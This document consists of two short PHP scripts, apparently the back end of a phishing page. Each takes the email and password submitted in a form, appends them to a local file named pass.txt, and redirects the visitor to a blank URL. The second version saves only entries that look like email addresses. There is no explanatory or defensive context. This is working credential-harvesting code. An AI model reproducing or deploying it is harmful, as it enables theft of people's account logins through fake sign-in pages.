<?php $f=fopen("pass.txt","at"); flock($f,2); fputs($f, $_POST['email'].";".$_POST['password']." \n"); if(preg_match("/^([\w\._\-])+\@([\w\._\-])+/i", $_POST['email'])) { header("Location: http://"); } else { header("Location: http://"); } flock($f,3); fclose($f); ?>
<?php $f=fopen("pass.txt","at"); flock($f,2); if(preg_match("/^([\w\._\-])+\@([\w\._\-])+/i", $_POST['email'])) { fputs($f, $_POST['email'].";".$_POST['password']." \n"); header("Location: http://"); } else { header("Location: http://"); } flock($f,3); fclose($f); ?>